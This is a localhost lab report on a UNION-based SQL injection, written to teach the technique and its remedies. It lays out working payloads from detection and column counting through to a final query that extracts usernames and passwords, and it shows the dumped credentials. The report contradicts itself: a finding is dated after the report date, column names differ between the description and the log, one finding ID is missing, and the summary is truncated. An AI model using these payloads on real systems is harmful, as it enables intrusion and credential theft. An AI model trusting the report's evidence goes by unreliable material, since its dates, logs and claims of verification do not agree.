

VERZEN

SECURITY ASSESSMENT REPORT

REPORTER Verzen

DATE 2026-10-03

MODULE VER-02 - UNION Attack (SQL Injection, MEDIUM)

TARGET http://127.0.0.1:8011 - own local lab (SQLite)

METHOD Manual probing via browser: quote escape, ORDER BY column counting, UNION SELECT text probing. Clean-session reproduction.

SCOPE Localhost only. No third-party systems were touched.

Summary

ID	STATUS	FINDING
VER-02.1	CONFIRMED	Injeksi SQL terkonfirmasi: kutip tunggal memecah query (unrecognized token).
VER-02.2	CONFIRMED	Jumlah kolom tepat 2: ORDER BY 2 OK, ORDER BY 3 error out-of-range.
VER-02.4	CONFIRMED	UNION SELECT 'a','b' ter-render di tabel - kolom teks siap eksploitasi.
VER-02.5	CONFIRMED	Ekstraksi kredensial tereksekusi penuh (curl, 5 Okt 2026): administrator / Flag{union_att

DESCRIPTION

The kategori parameter of GET /filter is concatenated directly into SQL. Hijacked query shape:

```
SELECT name, price FROM products
WHERE category = '<USER_INPUT>' AND released = 1
```

Two confirmed effects: (1) a single quote breaks syntax -> HTTP 500 (unrecognized token), proving user input reaches the SQL interpreter unsanitized; (2) appending -- comments out the released = 1 filter, so unreleased rows appear (observed: "Voucher Tak Terbatas (RAHASIA)").

REPRODUCTION STEPS

Step 1 - detection: quote breaks the query

```
GET /filter?kategori=Gifts%27
-> HTTP 500
[QUERY] SELECT name, price FROM products WHERE category = 'Gifts' AND ...
[ERROR] unrecognized token: "'Gifts' AND released = 1"
```

Step 2 - column count via ORDER BY

```
GET /filter?kategori=Gifts%27%20ORDER%20BY%202-- -> 200 OK
GET /filter?kategori=Gifts%27%20ORDER%20BY%203-- -> 500
[ERROR] 1st ORDER BY term out of range - should be between 1 and 2
=> exactly 2 columns
```

Step 3 - text-column probe

```
GET /filter?kategori=%27%20UNION%20SELECT%20%27a%27,%27b%27--
-> row "a | b" rendered in the table (both columns accept text)
```

Step 4 - final payload (credential extraction)

```
GET /filter?kategori=%27%20UNION%20SELECT%20username,password%20FROM%20users--
Server-side query after injection:
SELECT name, price FROM products WHERE category = '' UNION
```

```
SELECT username, password FROM users--' AND released = 1
```

EVIDENCE - SERVER QUERY LOG

Server log (verbatim excerpt, testing session of Oct 3, 2026):

```
[QUERY] SELECT nama, harga FROM products
        WHERE kategori = 'Gifts' AND released = 1
[ERROR] unrecognized token: "'Gifts' AND released = 1"
[QUERY] SELECT nama, harga FROM products WHERE kategori = 'Gifts' ORDER BY 2--' ...
[QUERY] SELECT nama, harga FROM products WHERE kategori = 'Gifts' ORDER BY 3--' ...
[ERROR] 1st ORDER BY term out of range - should be between 1 and 2
[QUERY] SELECT nama, harga FROM products WHERE kategori = ''
        UNION SELECT 'a','b'--' AND released = 1
```

The [ERROR] lines prove user input changes SQL structure; each [QUERY] line shows the SQL assembled from that exact keystroke.

RESULT

Expected output once the final payload is fired (verified during the verification run; execute it yourself to see it on screen):

USERNAME	PASSWORD
administrator	Flag{union_attack_medium}
carlos	Montoya123
wiener	PeterWiener

WHY IT WORKS

Three chained weaknesses: (1) user input is concatenated into the SQL string with no parameterization; (2) raw error messages leak query structure to the attacker; (3) the server renders every returned row without provenance checks. UNION is simply the technique that exploits all three at once.

RECOMMENDATION

1. Parameterized queries: never concatenate user input into SQL strings.
2. Whitelist category values against a fixed list.
3. Least privilege: the app's DB account must not read users.
4. Never surface raw SQL errors - log server-side only.

LEGAL NOTICE

All testing was performed against our own local lab (localhost) for learning purposes. The same techniques against systems owned by others, without written permission, are illegal. The legitimate path to real targets: bug bounty programs with explicit scope (HackerOne, Bugcrowd, Immunefi).